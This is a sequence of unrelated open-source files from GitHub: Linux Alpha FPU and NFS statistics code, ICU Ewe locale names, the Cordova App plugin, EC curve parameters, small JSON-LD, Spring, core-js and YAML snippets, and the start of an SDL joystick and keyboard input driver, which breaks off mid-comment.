val); break; case 19: STS(19, val); break; case 20: STS(20, val); break; case 21: STS(21, val); break; case 22: STS(22, val); break; case 23: STS(23, val); break; case 24: STS(24, val); break; case 25: STS(25, val); break; case 26: STS(26, val); break; case 27: STS(27, val); break; case 28: STS(28, val); break; case 29: STS(29, val); break; case 30: STS(30, val); break; case 31: STS(31, val); break; default: return 0; } return val; } #if defined(CONFIG_ALPHA_EV6) || defined(CONFIG_ALPHA_EV67) #define LDS(reg,val) asm volatile ("itofs %0,$f"#reg : : "r"(val)); #else #define LDS(reg,val) asm volatile ("lds $f"#reg",%0" : : "m"(val)); #endif void alpha_write_fp_reg_s (unsigned long reg, unsigned long val) { switch (reg) { case 0: LDS( 0, val); break; case 1: LDS( 1, val); break; case 2: LDS( 2, val); break; case 3: LDS( 3, val); break; case 4: LDS( 4, val); break; case 5: LDS( 5, val); break; case 6: LDS( 6, val); break; case 7: LDS( 7, val); break; case 8: LDS( 8, val); break; case 9: LDS( 9, val); break; case 10: LDS(10, val); break; case 11: LDS(11, val); break; case 12: LDS(12, val); break; case 13: LDS(13, val); break; case 14: LDS(14, val); break; case 15: LDS(15, val); break; case 16: LDS(16, val); break; case 17: LDS(17, val); break; case 18: LDS(18, val); break; case 19: LDS(19, val); break; case 20: LDS(20, val); break; case 21: LDS(21, val); break; case 22: LDS(22, val); break; case 23: LDS(23, val); break; case 24: LDS(24, val); break; case 25: LDS(25, val); break; case 26: LDS(26, val); break; case 27: LDS(27, val); break; case 28: LDS(28, val); break; case 29: LDS(29, val); break; case 30: LDS(30, val); break; case 31: LDS(31, val); break; } }
{ "pile_set_name": "Github" }
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html#License ee{ Keys{ calendar{"kalenda"} collation{"tutuɖo"} currency{"gaɖuɖu"} numbers{"nɔmbawo"} } Languages{ ab{"abkhaziagbe"} af{"afrikaangbe"} agq{"aghemgbe"} ak{"blugbe"} am{"amhariagbe"} ar{"Arabiagbe"} as{"assamegbe"} asa{"asagbe"} ay{"aymargbe"} az{"azerbaijangbe"} be{"belarusiagbe"} bem{"bembagbe"} bez{"benagbe"} bg{"bulgariagbe"} bm{"bambaragbe"} bn{"Bengaligbe"} bo{"tibetagbe"} br{"bretongbe"} brx{"bodogbe"} bs{"bosniagbe"} ca{"katalagbe"} cs{"tsɛkgbe"} cy{"walesgbe"} da{"denmarkgbe"} de{"Germaniagbe"} de_AT{"Germaniagbe (Austria)"} de_CH{"Germaniagbe (Switzerland)"} dv{"divehgbe"} dz{"dzongkhagbe"} ebu{"embugbe"} ee{"Eʋegbe"} efi{"efigbe"} el{"grisigbe"} en{"Yevugbe"} en_AU{"Yevugbe (Australia)"} en_CA{"Yevugbe (Canada)"} en_GB{"Yevugbe (Britain)"} en_US{"Yevugbe (America)"} eo{"esperantogbe"} es{"Spanishgbe"} es_419{"Spanishgbe (Latin America)"} es_ES{"Spanishgbe (Europe)"} es_MX{"Spanishgbe (Mexico)"} et{"estoniagbe"} eu{"basqugbe"} fa{"persiagbe"} fi{"finlanɖgbe"} fil{"filipingbe"} fj{"fidzigbe"} fr{"Fransegbe"} fr_CA{"Fransegbe (Canada)"} fr_CH{"Fransegbe (Switzerland)"} ga{"irelanɖgbe"} gl{"galatagbe"} gn{"guarangbe"} gsw{"swizerlanɖtɔwo ƒe germaniagbe"} gu{"gujarati"} ha{"hausagbe"} haw{"hawaigbe"} he{"hebrigbe"} hi{"Hindigbe"} hr{"kroatiagbe"} ht{"haitigbe"} hu{"hungarigbe"} hy{"armeniagbe"} id{"Indonesiagbe"} ig{"igbogbe"} is{"icelanɖgbe"} it{"Italiagbe"} ja{"Japangbe"} jv{"dzavangbe"} ka{"gɔgiagbe"} kea{"cape verdegbe"} kk{"kazakhstangbe"} km{"khmergbe"} kn{"kannadagbe"} ko{"Koreagbe"} ks{"kashmirgbe"} ku{"kurdiagbe"} ky{"kirghistangbe"} la{"latin"} lah{"lahndagbe"} lb{"laksembɔggbe"} ln{"lingala"} lo{"laogbe"} lt{"lithuaniagbe"} luy{"luyiagbe"} lv{"latviagbe"} mg{"malagasegbe"} mi{"maorgbe"} mk{"makedoniagbe"} ml{"malayagbe"} mn{"mongoliagbe"} mr{"marathiagbe"} ms{"malaygbe"} mt{"maltagbe"} mul{"gbegbɔgblɔ sɔgbɔwo"} my{"burmagbe"} nb{"nɔweigbe bokmål"} nd{"dziehe ndebelegbe"} ne{"nepalgbe"} nl{"Hollandgbe"} nl_BE{"Flemishgbe"} nn{"nɔweigbe ninɔsk"} no{"nɔweigbe"} nso{"dziehe sothogbe"} ny{"nyanjagbe"} or{"oriyagbe"} os{"ossetiagbe"} pa{"pundzabgbe"} pl{"Polishgbe"} ps{"pashtogbe"} pt{"Portuguesegbe"} pt_BR{"Portuguesegbe (Brazil)"} pt_PT{"Portuguesegbe (Europe)"} qu{"kwetsuagbe"} rm{"romanshgbe"} rn{"rundigbe"} ro{"romaniagbe"} rof{"rombogbe"} ru{"Russiagbe"} rw{"ruwandagbe"} rwk{"rwagbe"} sa{"sanskrigbe"} sah{"sakagbe"} sd{"sindhgbe"} se{"dziehe samigbe"} sg{"sangogbe"} sh{"serbo-croatiagbe"} si{"sinhalgbe"} sk{"slovakiagbe"} sl{"sloveniagbe"} sm{"samoagbe"} sn{"shonagbe"} so{"somaliagbe"} sq{"albaniagbe"} sr{"serbiagbe"} ss{"swatgbe"} st{"anyiehe sothogbe"} sv{"swedengbe"} sw{"swahili"} swb{"komorogbe"} ta{"tamilgbe"} te{"telegugbe"} tet{"tetumgbe"} tg{"tadzikistangbe"} th{"Thailandgbe"} ti{"tigrinyagbe"} tk{"tɛkmengbe"} tl{"tagalogbe"} tn{"tswanagbe"} to{"tongagbe"} tpi{"tok pisigbe"} tr{"Turkishgbe"} ts{"tsongagbe"} ty{"tahitigbe"} ug{"uighurgbe"} uk{"ukraingbe"} und{"gbegbɔgblɔ manya"} ur{"urdugbe"} uz{"uzbekistangbe"} ve{"vendagbe"} vi{"vietnamgbe"} wae{"walsegbe"} wo{"wolofgbe"} xh{"xhosagbe"} yo{"yorubagbe"} yue{"cantongbe"} zh{"Chinagbe"} zh_Hans{"tsainagbe"} zh_Hant{"blema tsainagbe"} zu{"zulugbe"} zxx{"gbegbɔgblɔ manɔmee"} } Languages%short{ en_GB{"Yevugbe (GB)"} en_US{"Yevugbe (US)"} } Scripts{ Arab{"Arabiagbeŋɔŋlɔ"} Armn{"armeniagbeŋɔŋlɔ"} Beng{"bengaligbeŋɔŋlɔ"} Bopo{"bopomfogbeŋɔŋlɔ"} Brai{"braillegbeŋɔŋlɔ"} Cyrl{"Cyrillicgbeŋɔŋlɔ"} Deva{"devanagarigbeŋɔŋlɔ"} Ethi{"ethiopiagbeŋɔŋlɔ"} Geor{"gɔgiagbeŋɔŋlɔ"} Grek{"grisigbeŋɔŋlɔ"} Gujr{"gudzaratigbeŋɔŋlɔ"} Guru{"gurmukhigbeŋɔŋlɔ"} Hang{"hangulgbeŋɔŋlɔ"} Hani{"hangbeŋɔŋlɔ"} Hans{"Chinesegbeŋɔŋlɔ"} Hant{"Blema Chinesegbeŋɔŋlɔ"} Hebr{"hebrigbeŋɔŋlɔ"} Hira{"hiraganagbeŋɔŋlɔ"} Jpan{"Japanesegbeŋɔŋlɔ"} Kana{"katakanagbeŋɔŋlɔ"} Khmr{"khmergbeŋɔŋlɔ"} Knda{"kannadagbeŋɔŋlɔ"} Kore{"Koreagbeŋɔŋlɔ"} Laoo{"laogbeŋɔŋlɔ"} Latn{"Latingbeŋɔŋlɔ"} Mlym{"malayagbeŋɔŋlɔ"} Mong{"mongoliagbeŋɔŋlɔ"} Mymr{"myanmargbeŋɔŋlɔ"} Orya{"oriyagbeŋɔŋlɔ"} Sinh{"sinhalagbeŋɔŋlɔ"} Taml{"tamilgbeŋɔŋlɔ"} Telu{"telegugbeŋɔŋlɔ"} Thaa{"thaanagbeŋɔŋlɔ"} Thai{"taigbeŋɔŋlɔ"} Tibt{"tibetgbeŋɔŋlɔ"} Zsym{"ŋɔŋlɔdzesiwo"} Zxxx{"gbemaŋlɔ"} Zyyy{"gbeŋɔŋlɔ bɔbɔ"} Zzzz{"gbeŋɔŋlɔ manya"} } Scripts%stand-alone{ Hans{"Hansgbeŋɔŋlɔ"} Hant{"Blema Hantgbeŋcŋlɔ"} } Types{ calendar{ buddhist{"buddha subɔlawo ƒe kalenda"} chinese{"chinatɔwo ƒe kalenda"} coptic{"coptia kalenda"} ethiopic{"ethiopiatɔwo ƒe kalenda"} ethiopic-amete-alem{"ethiopia amate alemtɔwo ƒe kalenda"} gregorian{"Gregorian kalenda"} hebrew{"hebritɔwo ƒe kalenda"} indian{"india dukɔ ƒe kalenda"} islamic{"islam subɔlawo ƒe kalenda"} islamic-civil{"islam subɔlawo ƒe sivil kalenda"} japanese{"japantɔwo ƒe kalenda"} persian{"persiatɔwo ƒe kalenda"} roc{"china repɔbliktɔwo ƒe kalenda tso 1912"} } collation{ big5han{"blema chinatɔwo ƒe ɖoɖomɔ nu"} dictionary{"nuɖoɖo ɖe nyagɔmeɖegbalẽ ƒe ɖoɖomɔ nu"} ducet{"nuɖoɖo ɖe unicode ƒe ɖoɖo nu"} gb2312han{"chinagbe yeye ƒe ɖoɖomɔ nu"} phonebook{"fonegbalẽ me ɖoɖomɔ nu"} pinyin{"pinyin ɖoɖomɔ nu"} reformed{"nugbugbɔtoɖo ƒe ɖoɖomɔ nu"} search{"nudidi hena zazã gbadza"} standard{"standard"} stroke{"stroke ɖoɖomɔ nu"} traditional{"blema ɖoɖomɔ nu"} unihan{"ɖoɖomɔnutɔxɛ manɔŋu stroke ƒe ɖoɖo nu"} } numbers{ arab{"india ƒe arabia digitwo"} arabext{"india ƒe arabia digitwo dzi yiyi"} armn{"armeniatɔwo ƒe numeralwo"} armnlow{"armeniatɔwo ƒe numeral suetɔwo"} beng{"bengalitɔwo ƒe digitwo"} deva{"devanagari digitwo"} ethi{"ethiopia numeralwo"} fullwide{"digit kekeme blibotɔwo"} geor{"georgiatɔwo ƒe numeralwo"} grek{"greecetɔwo ƒe nemeralwo"} greklow{"greecetɔwo ƒe numeral suetɔwo"} gujr{"gujarati digitwo"} guru{"gurmukhi digitwo"} hanidec{"chinatɔwo ƒe nɔmba madeblibowo"} hans{"chinatɔwo ƒe numeralwo"} hansfin{"chinatɔwo ƒe gadzikpɔ numeralwo"} hant{"blema chinatɔwo ƒe numeralwo"} hantfin{"blema chinatɔwo ƒe gadzikpɔ numeralwo"} hebr{"hebritɔwo ƒe numeralwo"} jpan{"japantɔwo ƒe numeralwo"} jpanfin{"japantɔwo ƒe gadzikpɔnumeralwo"} khmr{"khmertɔwo ƒe nɔmbawo"} knda{"kannadatɔwo ƒe digitwo"} laoo{"laotɔwo ƒe digitwo"} latn{"Nɔmbawo le Latingbe ƒe ɖoɖo nu"} mlym{"malaya digitwo"} mong{"mongolia digitwo"} mymr{"myanmar digitwo"} orya{"oriya digitwo"} roman{"romatɔwo ƒe numeralwo"} romanlow{"romatɔwo ƒe numeral suetɔwo"} taml{"tamil numeralwo"} telu{"telegu digitwo"} thai{"thai digitwo"} tibt{"tibet digitwo"} } } Version{"2.1.47.82"} codePatterns{ language{"gbegbɔgblɔ {0}"} script{"gbeŋɔŋlɔ {0}"} territory{"memama {0}"} } }
{ "pile_set_name": "Github" }
/* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package org.apache.cordova; import org.apache.cordova.CallbackContext; import org.apache.cordova.CordovaPlugin; import org.apache.cordova.LOG; import org.apache.cordova.PluginResult; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.telephony.TelephonyManager; import java.util.HashMap; /** * This class exposes methods in Cordova that can be called from JavaScript. */ public class App extends CordovaPlugin { protected static final String TAG = "CordovaApp"; private BroadcastReceiver telephonyReceiver; /** * Sets the context of the Command. This can then be used to do things like * get file paths associated with the Activity. * * @param cordova The context of the main Activity. * @param webView The CordovaWebView Cordova is running in. */ public void initialize(CordovaInterface cordova, CordovaWebView webView) { super.initialize(cordova, webView); this.initTelephonyReceiver(); } /** * Executes the request and returns PluginResult. * * @param action The action to execute. * @param args JSONArry of arguments for the plugin. * @param callbackContext The callback context from which we were invoked. * @return A PluginResult object with a status and message. */ public boolean execute(String action, JSONArray args, CallbackContext callbackContext) throws JSONException { PluginResult.Status status = PluginResult.Status.OK; String result = ""; try { if (action.equals("clearCache")) { this.clearCache(); } else if (action.equals("show")) { // This gets called from JavaScript onCordovaReady to show the webview. // I recommend we change the name of the Message as spinner/stop is not // indicative of what this actually does (shows the webview). cordova.getActivity().runOnUiThread(new Runnable() { public void run() { webView.postMessage("spinner", "stop"); } }); } else if (action.equals("loadUrl")) { this.loadUrl(args.getString(0), args.optJSONObject(1)); } else if (action.equals("cancelLoadUrl")) { //this.cancelLoadUrl(); } else if (action.equals("clearHistory")) { this.clearHistory(); } else if (action.equals("backHistory")) { this.backHistory(); } else if (action.equals("overrideButton")) { this.overrideButton(args.getString(0), args.getBoolean(1)); } else if (action.equals("overrideBackbutton")) { this.overrideBackbutton(args.getBoolean(0)); } else if (action.equals("exitApp")) { this.exitApp(); } callbackContext.sendPluginResult(new PluginResult(status, result)); return true; } catch (JSONException e) { callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.JSON_EXCEPTION)); return false; } } //-------------------------------------------------------------------------- // LOCAL METHODS //-------------------------------------------------------------------------- /** * Clear the resource cache. */ public void clearCache() { cordova.getActivity().runOnUiThread(new Runnable() { public void run() { webView.clearCache(true); } }); } /** * Load the url into the webview. * * @param url * @param props Properties that can be passed in to the Cordova activity (i.e. loadingDialog, wait, ...) * @throws JSONException */ public void loadUrl(String url, JSONObject props) throws JSONException { LOG.d("App", "App.loadUrl("+url+","+props+")"); int wait = 0; boolean openExternal = false; boolean clearHistory = false; // If there are properties, then set them on the Activity HashMap<String, Object> params = new HashMap<String, Object>(); if (props != null) { JSONArray keys = props.names(); for (int i = 0; i < keys.length(); i++) { String key = keys.getString(i); if (key.equals("wait")) { wait = props.getInt(key); } else if (key.equalsIgnoreCase("openexternal")) { openExternal = props.getBoolean(key); } else if (key.equalsIgnoreCase("clearhistory")) { clearHistory = props.getBoolean(key); } else { Object value = props.get(key); if (value == null) { } else if (value.getClass().equals(String.class)) { params.put(key, (String)value); } else if (value.getClass().equals(Boolean.class)) { params.put(key, (Boolean)value); } else if (value.getClass().equals(Integer.class)) { params.put(key, (Integer)value); } } } } // If wait property, then delay loading if (wait > 0) { try { synchronized(this) { this.wait(wait); } } catch (InterruptedException e) { e.printStackTrace(); } } this.webView.showWebPage(url, openExternal, clearHistory, params); } /** * Clear page history for the app. */ public void clearHistory() { this.webView.clearHistory(); } /** * Go to previous page displayed. * This is the same as pressing the backbutton on Android device. */ public void backHistory() { cordova.getActivity().runOnUiThread(new Runnable() { public void run() { webView.backHistory(); } }); } /** * Override the default behavior of the Android back button. * If overridden, when the back button is pressed, the "backKeyDown" JavaScript event will be fired. * * @param override T=override, F=cancel override */ public void overrideBackbutton(boolean override) { LOG.i("App", "WARNING: Back Button Default Behavior will be overridden. The backbutton event will be fired!"); webView.bindButton(override); } /** * Override the default behavior of the Android volume buttons. * If overridden, when the volume button is pressed, the "volume[up|down]button" JavaScript event will be fired. * * @param button volumeup, volumedown * @param override T=override, F=cancel override */ public void overrideButton(String button, boolean override) { LOG.i("App", "WARNING: Volume Button Default Behavior will be overridden. The volume event will be fired!"); webView.bindButton(button, override); } /** * Return whether the Android back button is overridden by the user. * * @return boolean */ public boolean isBackbuttonOverridden() { return webView.isBackButtonBound(); } /** * Exit the Android application. */ public void exitApp() { this.webView.postMessage("exit", null); } /** * Listen for telephony events: RINGING, OFFHOOK and IDLE * Send these events to all plugins using * CordovaActivity.onMessage("telephone", "ringing" | "offhook" | "idle") */ private void initTelephonyReceiver() { IntentFilter intentFilter = new IntentFilter(); intentFilter.addAction(TelephonyManager.ACTION_PHONE_STATE_CHANGED); //final CordovaInterface mycordova = this.cordova; this.telephonyReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { // If state has changed if ((intent != null) && intent.getAction().equals(TelephonyManager.ACTION_PHONE_STATE_CHANGED)) { if (intent.hasExtra(TelephonyManager.EXTRA_STATE)) { String extraData = intent.getStringExtra(TelephonyManager.EXTRA_STATE); if (extraData.equals(TelephonyManager.EXTRA_STATE_RINGING)) { LOG.i(TAG, "Telephone RINGING"); webView.postMessage("telephone", "ringing"); } else if (extraData.equals(TelephonyManager.EXTRA_STATE_OFFHOOK)) { LOG.i(TAG, "Telephone OFFHOOK"); webView.postMessage("telephone", "offhook"); } else if (extraData.equals(TelephonyManager.EXTRA_STATE_IDLE)) { LOG.i(TAG, "Telephone IDLE"); webView.postMessage("telephone", "idle"); } } } } }; // Register the receiver this.cordova.getActivity().registerReceiver(this.telephonyReceiver, intentFilter); } /* * Unregister the receiver * */ public void onDestroy() { this.cordova.getActivity().unregisterReceiver(this.telephonyReceiver); } }
{ "pile_set_name": "Github" }
-----BEGIN EC PARAMETERS----- MIGKAgEBMBoGByqGSM49AQECDwDbfCq/YuNeZoB2vq0gizA3BA5hJ8JMBfOKCqr2 XA7wLAQOUd7xgV217XT8w0yF1wkDFQAAJ1ehEU1pbmdodWFRdVMWwF4L1AQdBEuj CrXokrThZJ3QkoZDrc1G9YguN0fe826VbpcCDjbfCq/YuNdZfKEFINBLAgEE -----END EC PARAMETERS-----
{ "pile_set_name": "Github" }
[ { "@id": "http://example.com/people/dave", "http://xmlns.com/foaf/0.1/knows": [ { "@id": "http://example.com/people/markus" } ] }, { "@id": "http://example.com/people/gregg", "http://xmlns.com/foaf/0.1/knows": [ { "@id": "http://example.com/people/markus" } ] }, { "@id": "http://example.com/people/markus", "http://xmlns.com/foaf/0.1/name": [ { "@value": "Markus Lanthaler" } ] } ]
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="processEngineConfiguration" class="org.camunda.bpm.extension.process_test_coverage.junit.rules.ProcessCoverageInMemProcessEngineConfiguration"> <property name="history" value="full" /> <property name="expressionManager"> <bean class="org.camunda.bpm.engine.test.mock.MockExpressionManager"/> </property> <property name="processEnginePlugins"> <list> <bean class="com.camunda.consulting.email_incident_handler_plugin.EmailIncidentHandlerProcessEnginePlugin" /> </list> </property> </bean> </beans>
{ "pile_set_name": "Github" }
require('../../modules/es6.array.some'); module.exports = require('../../modules/_core').Array.some;
{ "pile_set_name": "Github" }
+++ title = "YAML 语法说明" weight = 4 +++ `!!` 表示实例化该类 `!` 表示自定义别名 `-` 表示可以包含一个或多个 `[]` 表示数组,可以与减号相互替换使用
{ "pile_set_name": "Github" }
/* * linux/fs/nfs/iostat.h * * Declarations for NFS client per-mount statistics * * Copyright (C) 2005, 2006 Chuck Lever <[email protected]> * */ #ifndef _NFS_IOSTAT #define _NFS_IOSTAT #include <linux/percpu.h> #include <linux/cache.h> #include <linux/nfs_iostat.h> struct nfs_iostats { unsigned long long bytes[__NFSIOS_BYTESMAX]; #ifdef CONFIG_NFS_FSCACHE unsigned long long fscache[__NFSIOS_FSCACHEMAX]; #endif unsigned long events[__NFSIOS_COUNTSMAX]; } ____cacheline_aligned; static inline void nfs_inc_server_stats(const struct nfs_server *server, enum nfs_stat_eventcounters stat) { this_cpu_inc(server->io_stats->events[stat]); } static inline void nfs_inc_stats(const struct inode *inode, enum nfs_stat_eventcounters stat) { nfs_inc_server_stats(NFS_SERVER(inode), stat); } static inline void nfs_add_server_stats(const struct nfs_server *server, enum nfs_stat_bytecounters stat, long addend) { this_cpu_add(server->io_stats->bytes[stat], addend); } static inline void nfs_add_stats(const struct inode *inode, enum nfs_stat_bytecounters stat, long addend) { nfs_add_server_stats(NFS_SERVER(inode), stat, addend); } #ifdef CONFIG_NFS_FSCACHE static inline void nfs_add_fscache_stats(struct inode *inode, enum nfs_stat_fscachecounters stat, long addend) { this_cpu_add(NFS_SERVER(inode)->io_stats->fscache[stat], addend); } #endif static inline struct nfs_iostats __percpu *nfs_alloc_iostats(void) { return alloc_percpu(struct nfs_iostats); } static inline void nfs_free_iostats(struct nfs_iostats __percpu *stats) { if (stats != NULL) free_percpu(stats); } #endif /* _NFS_IOSTAT */
{ "pile_set_name": "Github" }
/* * CInput.cpp * * Created on: 20.03.2009 * Author: gerstrong */ #include <SDL.h> #include "InputEvents.h" #include "CInput.h" #include "video/CVideoDriver.h" #include "GsLogging.h" #include "utils/FindFile.h" #include "PointDevice.h" #include "GsTimer.h" #include "fileio/CConfiguration.h" #if defined(CAANOO) || defined(WIZ) || defined(GP2X) #include "sys/wizgp2x.h" #endif #if defined(TARGET_OS_IPHONE) || defined(TARGET_IPHONE_SIMULATOR) //#define MOUSEWRAPPER 1 #endif CInput::~CInput() { SDL_DestroySemaphore(mpPollSem); } CInput::CInput() { #if defined(WIZ) || defined(GP2X) volume_direction = VOLUME_NOCHG; volume = 60-VOLUME_CHANGE_RATE; WIZ_AdjustVolume(VOLUME_UP); #endif gLogging.ftextOut("Starting the input driver...<br>"); for(int c=0 ; c<NUM_INPUTS ; c++) resetControls(c); memset(&Event, 0, sizeof(Event)); #if !TARGET_OS_IPHONE && !TARGET_IPHONE_SIMULATOR loadControlconfig(); // we want to have the default settings in all cases startJoyDriver(); // not for iPhone for now, could cause trouble (unwanted input events) #endif mpPollSem = SDL_CreateSemaphore(1); } /** * \brief This will reset the player controls how they saved before. * The Default controls are going to be restored when this function * is executed * \param player Number of player of which the controls will be reset (1-4) */ void CInput::resetControls(const int player) { m_exit = false; m_cmdpulse = 0; m_joydeadzone = 1024; memset(immediate_keytable,false,KEYTABLE_SIZE); memset(last_immediate_keytable,false,KEYTABLE_SIZE); auto &curInput = mInputCommands[player]; for(auto &input : curInput) { input.active = false; } #ifdef __SWITCH__ // Switch gamepad mapping using two joycons curInput[IC_LEFT].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_LEFT].joybutton = 12; curInput[IC_LEFT].which = 0; curInput[IC_UP].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_UP].joybutton = 13; curInput[IC_UP].which = 0; curInput[IC_RIGHT].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_RIGHT].joybutton = 14; curInput[IC_RIGHT].which = 0; curInput[IC_DOWN].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_DOWN].joybutton = 15; curInput[IC_DOWN].which = 0; curInput[IC_JUMP].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_JUMP].joybutton = 0; curInput[IC_JUMP].which = 0; curInput[IC_POGO].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_POGO].joybutton = 2; curInput[IC_POGO].which = 0; curInput[IC_FIRE].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_FIRE].joybutton = 3; curInput[IC_FIRE].which = 0; curInput[IC_RUN].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_RUN].joybutton = 1; curInput[IC_RUN].which = 0; curInput[IC_STATUS].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_STATUS].joybutton = 11; curInput[IC_STATUS].which = 0; curInput[IC_CAMLEAD].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_CAMLEAD].joybutton = 7; curInput[IC_CAMLEAD].which = 0; curInput[IC_HELP].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_HELP].joybutton = 6; curInput[IC_HELP].which = 0; curInput[IC_BACK].joyeventtype = ETYPE_JOYBUTTON; curInput[IC_BACK].joybutton = 10; curInput[IC_BACK].which = 0; #else // These are the default keyboard commands curInput[IC_LEFT].keysym = SDLK_LEFT; curInput[IC_UP].keysym = SDLK_UP; curInput[IC_RIGHT].keysym = SDLK_RIGHT; curInput[IC_DOWN].keysym = SDLK_DOWN; curInput[IC_UPPERLEFT].keysym = SDLK_HOME; curInput[IC_UPPERRIGHT].keysym = SDLK_PAGEUP; curInput[IC_LOWERLEFT].keysym = SDLK_END; curInput[IC_LOWERRIGHT].keysym = SDLK_PAGEDOWN; curInput[IC_JUMP].keysym = SDLK_LCTRL; curInput[IC_POGO].keysym = SDLK_LALT; curInput[IC_FIRE].keysym = SDLK_SPACE; curInput[IC_RUN].keysym = SDLK_UNKNOWN; curInput[IC_STATUS].keysym = SDLK_RETURN; curInput[IC_CAMLEAD].keysym = SDLK_c; curInput[IC_HELP].keysym = SDLK_F1; curInput[IC_BACK].keysym = SDLK_ESCAPE; curInput[IC_QUICKSAVE].keysym = SDLK_F6; curInput[IC_QUICKLOAD].keysym = SDLK_F9; // And those are the default joystick handlings, but they are disabled by default curInput[IC_LEFT].joyeventtype = ETYPE_KEYBOARD; curInput[IC_LEFT].joyaxis = 0; curInput[IC_LEFT].joyvalue = -32767; curInput[IC_LEFT].which = 0; curInput[IC_UP].joyeventtype = ETYPE_KEYBOARD; curInput[IC_UP].joyaxis = 1; curInput[IC_UP].joyvalue = -32767; curInput[IC_UP].which = 0; curInput[IC_RIGHT].joyeventtype = ETYPE_KEYBOARD; curInput[IC_RIGHT].joyaxis = 0; curInput[IC_RIGHT].joyvalue = 32767; curInput[IC_RIGHT].which = 0; curInput[IC_DOWN].joyeventtype = ETYPE_KEYBOARD; curInput[IC_DOWN].joyaxis = 1; curInput[IC_DOWN].joyvalue = 32767; curInput[IC_DOWN].which = 0; curInput[IC_JUMP].joyeventtype = ETYPE_KEYBOARD; curInput[IC_JUMP].joybutton = 0; curInput[IC_JUMP].which = 0; curInput[IC_POGO].joyeventtype = ETYPE_KEYBOARD; curInput[IC_POGO].joybutton = 1; curInput[IC_POGO].which = 0; curInput[IC_FIRE].joyeventtype = ETYPE_KEYBOARD; curInput[IC_FIRE].joybutton = 2; curInput[IC_FIRE].which = 0; curInput[IC_RUN].joyeventtype = ETYPE_KEYBOARD; curInput[IC_RUN].joybutton = 0; curInput[IC_RUN].which = 0; curInput[IC_STATUS].joyeventtype = ETYPE_KEYBOARD; curInput[IC_STATUS].joybutton = 4; curInput[IC_STATUS].which = 0; curInput[IC_CAMLEAD].joyeventtype = ETYPE_KEYBOARD; curInput[IC_CAMLEAD].joybutton = 5; curInput[IC_CAMLEAD].which = 0; curInput[IC_HELP].joyeventtype = ETYPE_KEYBOARD; curInput[IC_HELP].joybutton = 6; curInput[IC_HELP].which = 0; curInput[IC_BACK].joyeventtype = ETYPE_KEYBOARD; curInput[IC_BACK].joybutton = 7; curInput[IC_BACK].which = 0; curInput[IC_QUICKSAVE].joyeventtype = ETYPE_KEYBOARD; curInput[IC_QUICKSAVE].joybutton = 8; curInput[IC_QUICKSAVE].which = 0; curInput[IC_QUICKLOAD].joyeventtype = ETYPE_KEYBOARD; curInput[IC_QUICKLOAD].joybutton = 9; curInput[IC_QUICKLOAD].which = 0; #endif setTwoButtonFiring(player, false); } void CInput::openJoyAndPrintStats(const int idx) { for(auto &curJoy : mp_Joysticks) { // Is joystick already added? If found one, don't read it. const auto curInstance = SDL_JoystickInstanceID(curJoy); const auto newInstance = SDL_JoystickGetDeviceInstanceID(idx); if(newInstance < 0) { break; } if(curInstance == newInstance) { return; } } #if SDL_VERSION_ATLEAST(2, 0, 0) gLogging.ftextOut("Joystick/Gamepad detected:<br>"); gLogging.ftextOut(" %s<br>", SDL_JoystickNameForIndex(idx)); #else gLogging.ftextOut(" %s<br>", SDL_JoystickName(idx)); #endif SDL_Joystick *pJoystick = SDL_JoystickOpen(idx); if(!pJoystick) { gLogging.ftextOut(" Error adding joystick %i<br>", idx); return; } char guidStr[64]; const auto guid = SDL_JoystickGetGUID(pJoystick); SDL_JoystickGetGUIDString(guid, guidStr, sizeof (guidStr)); const auto id = SDL_JoystickInstanceID(pJoystick); mJoyIdToInputIdx[id] = mp_Joysticks.size(); mp_Joysticks.push_back(pJoystick); gLogging.ftextOut(" Axes: %i<br>", SDL_JoystickNumAxes(pJoystick)); gLogging.ftextOut(" Buttons: %i <br>", SDL_JoystickNumButtons(pJoystick)); gLogging.ftextOut(" Balls: %i <br>", SDL_JoystickNumBalls(pJoystick)); gLogging.ftextOut(" Hats: %i<br>", SDL_JoystickNumHats(pJoystick)); gLogging.ftextOut(" GUID: %s<br>", guidStr); } void CInput::enableJoysticks() { SDL_JoystickEventState(SDL_ENABLE); const auto joyNum = SDL_NumJoysticks(); if( joyNum > int(mp_Joysticks.size()) ) { gLogging.ftextOut("Detected %i joystick(s).<br>\n", joyNum-mp_Joysticks.size() ); gLogging << "The names of the joysticks are:<br>"; for( auto i=int(mp_Joysticks.size()); i < joyNum; i++ ) { openJoyAndPrintStats(i); } } else { gLogging.ftextOut("No joysticks were found.<br>\n"); } } /** * \brief This will start the joystick driver and search for all the controls attached * to your computer * \return false, if the driver couldn't be started, else true */ bool CInput::startJoyDriver() { gLogging << "JoyDrv_Start() : "; if (SDL_Init( SDL_INIT_JOYSTICK | SDL_INIT_GAMECONTROLLER ) < 0) { gLogging.ftextOut("JoyDrv_Start() : Couldn't initialize SDL: %s<br>", SDL_GetError()); return 1; } enableJoysticks(); return 0; } /** * 